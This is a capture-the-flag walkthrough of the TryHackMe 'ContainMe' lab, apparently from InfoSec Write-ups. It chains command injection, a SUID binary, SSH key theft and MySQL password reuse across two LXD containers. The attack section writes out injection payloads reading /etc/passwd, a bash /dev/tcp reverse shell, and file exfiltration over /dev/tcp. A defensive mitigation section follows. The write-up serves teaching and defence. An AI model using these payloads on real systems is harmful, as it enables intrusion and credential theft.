ContainMe — Command Injection, a SUID Binary, and Pivoting Through Two LXD Containers to Root |…

infosecwriteups.com · Roshan Rajbanshi · 2 days ago · exploit
quality 9/10 · excellent
0 net
Tags
rce
ContainMe — Command Injection, a SUID Binary, and Pivoting Through Two LXD Containers to Root |… | by Roshan Rajbanshi | in InfoSec Write-ups - Freedium Milestone: 20GB Reached We’ve reached 20GB of stored data — thank you for helping us grow! Patreon Ko-fi Liberapay Close < Go to the original ContainMe — Command Injection, a SUID Binary, and Pivoting Through Two LXD Containers to Root |… ContainMe is a multi-machine CTF challenge that tests your skills across several domains — web exploitation, binary analysis, privilege… Roshan Rajbanshi Follow InfoSec Write-ups · ~11 min read · April 2, 2026 (Updated: April 2, 2026) · Free: Yes ContainMe is a multi-machine CTF challenge that tests your skills across several domains — web exploitation, binary analysis, privilege escalation, and lateral movement through LXD containers. The attack path spans two internal hosts, requiring you to chain multiple vulnerabilities together to reach root on the final machine. Platform: TryHackMe Difficulty: Medium Category: Web Exploitation / Binary Analysis / Privilege Escalation / Container Pivoting Attack chain at a glance: Step Technique Result 1 Nmap + Gobuster recon Discovered index.php on port 80 2 Command injection via index.php RCE as www-data on host1 3 SUID binary abuse ( crypt ) Root on host1 4 SSH key theft Pivot to host2 as mike 5 MySQL credential dump, Plaintext passwords from database 6 Password reuse, Root on host2 Phase 1: Reconnaissance Port Scanning We start with an aggressive nmap scan to enumerate open ports and services: nmap -Pn -sC -sV -O -p 1-10000 Results: PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 80/tcp open http Apache httpd 2.4.29 (Ubuntu) 2222/tcp open EtherNetIP-1? 8022/tcp open ssh OpenSSH 8.2p1 Ubuntu Key takeaways: Port 80 — Apache web server, our main attack surface Two SSH services on ports 22 and 8022 — a strong hint that this is an LXD container environment (host + container) Web Enumeration Running Gobuster reveals the files available on the web server: gobuster dir -u http:// -w /usr/share/wordlists/dirb/common.txt index.html (Status: 200) [Size: 10918] index.php (Status: 200) [Size: 329] info.php (Status: 200) [Size: 68942] The index.php file is suspiciously small at only 329 bytes — worth investigating. Discovering the Vulnerability Probing index.php with a path parameter shows it lists directory contents: curl "http:///index.php?path=/home/mike" drwxr-xr-x 5 mike mike 4.0K Jul 30 2021 . drwx------ 2 mike mike 4.0K Jul 19 2021 .ssh -rwxr-xr-x 1 mike mike 351K Jul 30 2021 1cryptupx The HTML comment — where is the path ? — is a nudge from the challenge author. The page is running ls on our input with no sanitization. Time to inject. Phase 2: Initial Access — Command Injection Confirming Injection We tested several shell metacharacters to see which ones the server would execute. All three worked: # Semicolon — runs ls /etc first, then cat /etc/passwd curl "http:///index.php?path=/etc;cat+/etc/passwd" # Pipe — pipes ls output into cat (effectively just runs cat) curl "http:///index.php?path=/etc|cat+/etc/passwd" # Newline — breaks the command into two separate lines curl "http:///index.php?path=/etc%0acat+/etc/passwd" Each one successfully dumped /etc/passwd , confirming full command injection. The difference between them is subtle but worth understanding: Operator Behaviour Output ; Run both commands sequentially, regardless of exit code ls /etc output then /etc/passwd | Pipe the stdout of the first command into the second. Only /etc/passwd %0a (newline) Treats everything after as a new shell command. Only /etc/passwd We used the pipe ( | ) for the rest of the exploit since it gave cleaner output, but any of these would have worked. Reading the PHP source confirms why there was zero resistance to any of them: curl "http:///index.php?path=/etc|cat+/var/www/html/index.php" Zero input sanitization. The user-supplied path value is concatenated directly into a shell command and executed via passthru() . Getting a Reverse Shell Start a listener on your attack machine: nc -lvnp 4444 Then trigger the reverse shell: curl "http:///index.php?path=/tmp%7Cbash+-c+'bash+-i+>%26+/dev/tcp//4444+0>%261'" listening on [any] 4444 ... connect to [] from www-data@host1:/var/www/html$ We're in as www-data on host1. Phase 3: Privilege Escalation on host1 Finding SUID Binaries From our www-data shell, we hunt for SUID binaries: find / -perm -4000 -type f 2>/dev/null /usr/share/man/zh_TW/crypt <-- suspicious! /usr/bin/passwd /usr/bin/sudo /bin/mount /bin/su ... A SUID binary named crypt buried inside a man pages directory ( /usr/share/man/zh_TW/ ) is a massive red flag. Man page directories should never contain executable SUID binaries. Binary Analysis We transfer the binary to our attack machine for analysis: # On attack machine - receive the binary nc -lvnp 5555 > crypt # On target - send it cat /usr/share/man/zh_TW/crypt > /dev/tcp//5555 Running file on it shows something odd: crypt: ELF 64-bit MSB *unknown arch 0x3e00* (SYSV) The ELF header has its endianness byte set to 02 (big-endian) instead of 01 (little-endian) — intentional obfuscation. The hexdump also reveals a UPX signature embedded inside. We fix the header and unpack: # Fix the endianness byte at offset 5 python3 -c " data = bytearray(open('crypt','rb').read()) data[5] = 0x01 open('crypt_fixed','wb').write(bytes(data)) " # Unpack with UPX upx -d crypt_fixed -o crypt_unpacked Running strings on the unpacked binary reveals the key logic: You wish! <-- wrong password response /bin/bash <-- spawns a shell on correct password The heartache, and the thousand natural shocks That flesh is heir to,--'tis a consummation Devoutly to be wish'd. To die,--to sleep;-- When we have shuffled off this mortal coil, The binary checks a password. If correct, it spawns /bin/bash — and since the binary has the SUID bit set, that shell runs as root. The Shakespeare quotes are embedded as decoys/hash material. Exploiting the SUID Binary After testing several inputs, the password turns out to be simply the machine's username: www-data@host1:/usr/share/man/zh_TW$ ./crypt mike id uid=0(root) gid=33(www-data) groups=33(www-data) Root on host1. The trivial password — the local username itself — is the key. The binary accepts it, verifies against its internal hash, and calls /bin/bash , inheriting SUID root privileges. Phase 4: Pivoting to host2 Network Discovery As root, we check the network interfaces: ip a eth0: 192.168.250.x/24 (external network) eth1: 172.16.20.x/24 (internal container network) We're on a dual-homed host. A ping sweep of the internal network finds another live machine: for i in $(seq 1 254); do ping -c1 -W1 172.16.20.$i 2>/dev/null | grep "64 bytes" && echo "172.16.20.$i UP" done 172.16.20.2 is UP 172.16.20.6 is UP <-- host2! The challenge name ContainMe now makes perfect sense — we're pivoting through LXD containers. SSH into host2 via Mike's Key As root on host1, we can read Mike's private SSH key: cat /home/mike/.ssh/id_rsa We use it to SSH directly into host2: ssh -i id_rsa [email protected] Last login: Mon Jul 19 20:23:18 2021 from 172.16.20.2 mike@host2:~$ We're on host2 as mike . Phase 5: Privilege Escalation on host2 Service Enumeration Checking active network connections reveals MySQL running locally: netstat -antp tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN Dumping MySQL Credentials Connecting to MySQL with credentials found through enumeration: mysql -u -p show databases; use accounts; show tables; select * from users; +-------+---------------------+ | login | password | +-------+---------------------+ | root | | | mike | | +-------+---------------------+ Two sets of credentials — one for root and one for Mike. Password Reuse — Root on host2 Mike's password unlocks a protected zip file found in /root/ . The root database password works directly with su : # Unzip the file using mike's password unzip -P /root/mike.zip # Escalate to root su root # Password: root@host2:~# id uid=0(root) gid=0(root) groups=0(root) Root on host2. Classic credential reuse — passwords found in the database work on system accounts. Defense & Mitigation Each vulnerability in this challenge has a real-world fix. Here's how a defender would close every door we walked through. 1. Command Injection — Fix the PHP Code The problem: User input was concatenated directly into a shell command with no validation. // VULNERABLE — never do this $command = "ls -alh " . $_REQUEST['path']; passthru($command); The fix: Avoid shell execution entirely where possible. If you must use it, use escapeshellarg() to sanitize the input, and whitelist allowed values: // SAFER — validate input against a whitelist $allowed_paths = ['/var/www/html', '/home/mike']; $path = $_REQUEST['path']; if (!in_array($path, $allowed_paths)) { http_response_code(400); exit("Invalid path."); } $command = "ls -alh " . escapeshellarg($path); passthru($command); Even better — replace passthru() with native PHP functions like scandir() or DirectoryIterator that don't invoke a shell at all: // BEST — no shell involved $entries = scandir($_REQUEST['path']); foreach ($entries as $entry) { echo htmlspecialchars($entry) . "\n"; } Additional hardening: Run the web server process as a dedicated low-privilege user with no shell access Apply a Web Application Firewall (WAF) to block shell metacharacters ( | , ; , & , ` , $() ) Enable PHP's open_basedir to restrict file system access to the web root 2. SUID Binary Abuse — Audit and Restrict SUID Binaries The problem: A custom SUID binary with a weak password was placed in an unexpected location ( /usr/share/man/ ), making it easy to miss during routine audits. The fix: Regularly audit all SUID binaries on your system and investigate anything unexpected: # Baseline all SUID binaries and alert on changes find / -perm -4000 -type f 2>/dev/null > /tmp/suid_baseline.txt diff /tmp/suid_baseline.txt /tmp/suid_current.txt Remove the SUID bit from any binary that doesn't strictly need it: chmod u-s /path/to/suspicious/binary Additional hardening: Mount partitions with the nosuid flag where user-writable files live (e.g., /tmp , /home ) Use Linux Security Modules (AppArmor, SELinux) to restrict what SUID binaries can do If a binary requires elevated privileges, prefer sudo with a tightly scoped policy over SUID Never store custom binaries in system directories like /usr/share/man/ 3. Weak SUID Binary Password — Secure Credential Handling in Binaries The problem: The crypt binary accepted a trivially guessable password (the system username) to grant root access. The fix: Passwords embedded in binaries are inherently insecure — they can be extracted with strings , reverse engineering, or brute force. The right approach is to never use passwords as a gate in SUID binaries at all. Use sudo with proper policy instead: # /etc/sudoers.d/mike mike ALL=(root) NOPASSWD: /usr/bin/specific-command If a binary must do authentication, use PAM (Pluggable Authentication Modules) rather than a hardcoded comparison. At a minimum, never use predictable values like usernames as passwords. 4. Plaintext Credentials in MySQL — Hash Your Passwords The problem: The accounts.users table stores passwords in plain text. Once an attacker accessed MySQL, all credentials were immediately usable. The fix: Always hash passwords before storing them. Use a modern, slow hashing algorithm designed for passwords: -- Store a bcrypt hash, not the plaintext password INSERT INTO users (login, password) VALUES ('mike', '$2y$12$...'); In application code (PHP example): // Hashing on registration $hash = password_hash($plaintext_password, PASSWORD_BCRYPT); // Verification on login if (password_verify($input, $stored_hash)) { // authenticated } Additional hardening: Apply the principle of least privilege to database users — the web app user should only have SELECT on the tables it needs, never access to mysql.user Restrict MySQL to localhost only (already done here, but worth confirming in my.cnf ) Enable MySQL audit logging to detect credential dump queries 5. Password Reuse — Enforce Unique Credentials The problem: The same password was used in the database and for a system account, meaning a single credential dump led directly to root. The fix: Enforce strict separation between application credentials and system credentials: Use a password manager or secrets manager (HashiCorp Vault, AWS Secrets Manager) to generate and store unique credentials per service Never reuse a password between a database account and an OS user account Rotate credentials regularly and after any suspected compromise Implement multi-factor authentication (MFA) on all privileged accounts where possible 6. SSH Key Exposure Across Container Boundary — Harden Container Isolation The problem: Gaining root on host1 (a container) allowed us to read the SSH private key and pivot directly to host2. The key was unprotected and reachable from within the container. The fix: SSH private keys should never be readable by the root of an adjacent container: # Keys should be owned by the user and readable only by them chmod 600 /home/mike/.ssh/id_rsa chmod 700 /home/mike/.ssh/ Stronger mitigations: Use SSH certificates instead of long-lived keys — they can be issued with short TTLs and scoped to specific hosts Protect private keys with a strong passphrase so a stolen key file is not immediately usable Use LXD profiles to enforce container isolation — restrict inter-container network access with firewall rules Apply nftables or iptables Rules to prevent containers from reaching other container IPs unless explicitly required Audit which containers share network segments and apply network segmentation where containers have no business communicating Defense Summary ┌─────────────────────────────┬──────────────────────────────────────┬───────────────────────────────────────────────┐ │ Vulnerability │ Immediate Fix │ Deeper Hardening │ ├─────────────────────────────┼──────────────────────────────────────┼───────────────────────────────────────────────┤ │ Command Injection │ escapeshellarg() / use scandir() │ WAF, open_basedir, least-privilege proc user │ │ Suspicious SUID Binary │ Remove SUID bit, audit regularly │ nosuid mounts, AppArmor/SELinux, use sudo │ │ Weak SUID Password │ Don't use passwords in SUID binaries │ Use PAM or sudo policy │ │ Plaintext DB Passwords │ Hash with bcrypt/argon2 │ Least-privilege DB user, audit logging │ │ Password Reuse │ Unique password per service │ Secrets manager, MFA on privileged accounts │ │ SSH Key Exposure │ chmod 600, passphrase on key │ SSH certificates, network segmentation │ └─────────────────────────────┴──────────────────────────────────────┴───────────────────────────────────────────────┘ Lessons Learned Vulnerabilities Exploited Command Injection — passthru() Called with unsanitized user input. Always validate and escape user-supplied data before passing it to shell commands. Obscured SUID Binary — A custom SUID binary hidden /usr/share/man/ with a trivially guessable password. Always audit SUID binaries — their location, owner, and purpose. Plaintext Credentials in Database —Passwords are stored in plain text in MySQL, so switch to hashing methods like bcrypt or argon2 for secure credential storage. Password Reuse — The same password is used in the database and for a system account. Use unique passwords per service. SSH Key Accessible Across Container Boundary — Root on one container could read another user's SSH private key. Apply least-privilege principles to key storage. Tools Used ┌─────────────┬────────────────────────────────────────┐ │ Tool │ Purpose │ ├─────────────┼────────────────────────────────────────┤ │ nmap │ Port scanning and service detection │ │ gobuster │ Web directory enumeration │ │ curl │ HTTP interaction and payload delivery │ │ netcat │ Reverse shell listener │ │ upx │ Binary unpacking │ │ strings │ Binary analysis │ │ mysql │ Database enumeration │ └─────────────┴────────────────────────────────────────┘ Full Attack Path [Attacker Machine] | +---> index.php?path= command injection | -> www-data shell on host1 | +---> find SUID binary: /usr/share/man/zh_TW/crypt | -> ./crypt | -> root on host1 | +---> cat /home/mike/.ssh/id_rsa | -> ssh [email protected] | -> mike on host2 | +---> mysql accounts.users -> credentials dump -> su root -> root on host2 Thanks for reading! If you found this walkthrough helpful, feel free to leave a clap. Happy hacking! 🚀 #cybersecurity #containers #tryhackme #linux #ctf Reporting a Problem Sometimes we have problems displaying some Medium posts. If you have a problem that some images aren't loading - try using VPN. Probably you have problem with access to Medium CDN (or fucking Cloudflare's bot detection algorithms are blocking you).